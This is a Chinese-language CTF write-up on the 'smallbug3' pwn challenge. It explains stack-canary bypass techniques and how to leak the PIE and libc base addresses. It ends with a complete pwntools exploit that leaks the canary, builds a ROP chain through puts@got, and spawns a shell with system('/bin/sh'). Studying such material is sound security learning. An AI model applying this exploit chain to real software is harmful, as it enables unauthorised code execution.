smallbug3

绕过canary & 确定基址

Canary

概念

canary是一个保护机制,具体的实现,是在ebp和esp之间放入一个canary值,在程序结束的时候判断是否被更改,改变则通过__stack_chk_fail结束当前进程。一定程度上可以防止栈溢出攻击。 avatar
注意这里的var_8,就是放canary值的偏移。

avatar

特性

占用一个字的大小,canary值的最低位一定是\x00。

绕过方法

劫持__stack_chk_fail

canary被改写后,程序流程就会经过__stack_chk_fail退出程序。如果将这个函数劫持

  • 例如更改got表

就可以在canary检查失败后劫持程序。

泄露canary值

canary保护机制仅仅检查canary的值是否被篡改,而不会检查栈的其他内容。因此如果每次栈溢出的时候覆盖为相同的值就可以通过检查。

如何泄露

canary在存储时的最高位(小端序)是’\x00’,会截断canary值和前面的内容。只要将’\x00’覆盖成不会截断字符串打印的值,就可以通过打印字符串的形式得到当前canary值。

canary的生成

同一个线程里面的canary值是相同的。

爆破

还没试过。与fork()这个函数和线程有关。

覆盖与栈中canary值进行比较的值

avatar

思路

漏洞点

avatar

程序在判断大小的时候nbytes是做的有符号数,而在read中做参数的时候是无符号数。输入负数即可绕过判断进行栈溢出。

流程

这个二进制文件checksec一下会发现所有的保护都开了。
FULL RELRO意味着没法改got表,所以要泄露canary的值。 要进行三次栈溢出。

  • 打印canary的值& 泄露程序基址
  • 泄露libc基址
  • getshell

程序基址怎么泄露

我暂时还没有找到相关资料,但是我打开了一些二进制文件,发现在main函数里面的时候:

  • 32位的ebp指向的栈里保存的是0x0
  • 64位的rbp指向的栈里保存的是__libc_csu_init的地址。
  • 我还搞不清楚的是为什么__libc_csu_init的地址不是7f开头而是与程序加载基址有关。
    • 2019/7/20 补充:这是一个程序自带的函数。不是动态链接库里面的。

我们如果用这个想法来看这个程序的rbp,

avatar

虽然他去符号化了,但是按照这个思路来说,就可以根据__libc_csu_init的地址找到main的地址。

1
main_addr = __libc_csu_init_addr & (~0xfff) + 0x9cc

0x9cc 是从ida里面看的main地址。因为他开了pie,所以这个只是一个偏移地址。程序加载基址是__libc_csu_init_addr & (~0xfff)

待补充原因

libc基址怎么泄露

使用puts打印出puts@got的内容。

getshell

可以使用one_gadget,也可以直接构造system('/bin/sh'),但是如果打远程的话需要知道libc的版本。

系统中断不行,找不到int 0x80。

注意点

  1. 程序是64位,采用寄存器传参,需要使用pop_rdi_ret。
  2. 地址低位为\x00时在u64()的前面补\x00,高位则在后面。

为什么gdb.attach的位置会影响exp???

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']

sh = process('./smallbug3')
elf = ELF('./smallbug3')
libc = elf.libc

log.info("===================>fake size<=================")
sh.sendlineafter('name:\n',"-1")
log.info("===============>leak canary value<==============")
offset = 0x94 - 0x4 - 0x8
payload = 'A' * offset + 'B'

sh.sendafter('name:\n',payload)
sh.recvuntil("B")
canary = u64('\x00' + sh.recv(7))
print '-------------------{:#x}-----------------'.format(canary)

log.info("=============>leak process main addr <===========")
elf_base = u64( sh.recv(6) + '\x00\x00') & (~0xfff)
main_addr = elf_base + 0x9cc

log.info("===============>leak libc base<==================")
puts_got = elf.got['puts'] + elf_base
puts_plt = elf.plt['puts'] + elf_base
pop_rdi_ret = 0xb33 + elf_base

payload = 'A'* offset + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) 
payload += p64(puts_plt) + p64(main_addr)


sh.sendlineafter('us:\n',payload)
libc_base = u64(sh.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']

print '-------------------main_addr:{:#x}-----------------'.format(main_addr)
print '-------------------libc_base:{:#x}-----------------'.format(libc_base)

log.info('===============>get shell<=======================')
 #one_gadget local_libc
one_gadget = libc_base + 0x4239e
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()

sh.sendlineafter('name:\n',"-1")
sh.sendlineafter('name:\n','A' * 8)
#payload = 'A' * offset + p64(canary) + 'A' * 8 + p64(one_gadget)
payload = 'A' * offset + p64(canary) + 'A' * 8 + p64(pop_rdi_ret) + p64(bin_addr) + p64(system_addr)
sh.sendlineafter('us:\n',payload)

sh.interactive()
sh.close()